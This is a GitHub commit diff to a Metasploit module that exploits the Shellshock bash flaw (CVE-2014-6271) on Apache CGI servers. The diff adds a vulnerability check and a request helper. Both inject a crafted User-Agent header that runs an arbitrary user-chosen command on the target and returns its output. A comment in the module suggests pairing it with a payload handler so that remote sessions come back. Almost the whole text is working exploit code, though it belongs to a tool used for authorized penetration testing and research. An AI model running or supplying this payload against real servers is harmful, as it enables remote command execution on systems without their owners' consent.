Skip to content

Commit 62b74ae

Browse files
committed
Reimplement old check code I was testing before
I would like to credit @wchen-r7 for providing advice and feedback. @jvazquez-r7, too! :)
1 parent d9120cd commit 62b74ae

File tree

1 file changed

+35
-12
lines changed

1 file changed

+35
-12
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 35 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -20,15 +20,15 @@ def initialize(info = {})
2020
the HTTP_USER_AGENT variable.
2121
2222
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
23-
CMD, set ExitOnSession to false, run -j, and then run this module.
23+
CMD, set ExitOnSession false, run -j, and then run this module for lulz.
2424
},
2525
'Author' => [
2626
'Stephane Chazelas', # Vulnerability discovery
2727
'wvu' # Metasploit module
2828
],
2929
'References' => [
3030
['CVE', '2014-6271'],
31-
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
31+
['URL', 'https://access.redhat.com/articles/1200223'],
3232
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
3333
],
3434
'DisclosureDate' => 'Sep 24 2014',
@@ -42,21 +42,32 @@ def initialize(info = {})
4242
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
4343
'/usr/bin/id'])
4444
], self.class)
45+
46+
@marker = marker
4547
end
4648

47-
def run_host(ip)
48-
marker = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
49-
user_agent = %Q{() { :; }; echo "#{marker}$(#{datastore['CMD']})#{marker}"}
49+
def check
50+
res = req("echo #{@marker}")
5051

51-
res = send_request_raw(
52-
'method' => datastore['METHOD'],
53-
'uri' => normalize_uri(target_uri.path),
54-
'agent' => user_agent
55-
)
52+
if res && res.body.include?(@marker * 3)
53+
report_vuln(
54+
:host => rhost,
55+
:port => rport,
56+
:name => self.name,
57+
:refs => self.references
58+
)
59+
Exploit::CheckCode::Vulnerable
60+
else
61+
Exploit::CheckCode::Safe
62+
end
63+
end
64+
65+
def run_host(ip)
66+
return unless check == Exploit::CheckCode::Vulnerable
5667

57-
return if (res && res.body.include?(user_agent))
68+
res = req(datastore['CMD'])
5869

59-
if res && res.body =~ /#{marker}(.+)#{marker}/m
70+
if res && res.body =~ /#{@marker}(.+)#{@marker}/m
6071
print_good("#{peer} - #{$1}")
6172
report_vuln(
6273
:host => ip,
@@ -67,4 +78,16 @@ def run_host(ip)
6778
end
6879
end
6980

81+
def req(cmd)
82+
send_request_cgi(
83+
'method' => datastore['METHOD'],
84+
'uri' => normalize_uri(target_uri.path),
85+
'agent' => "() { :;};echo #{@marker}$(#{cmd})#{@marker}"
86+
)
87+
end
88+
89+
def marker
90+
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
91+
end
92+
7093
end

0 commit comments

Comments
 (0)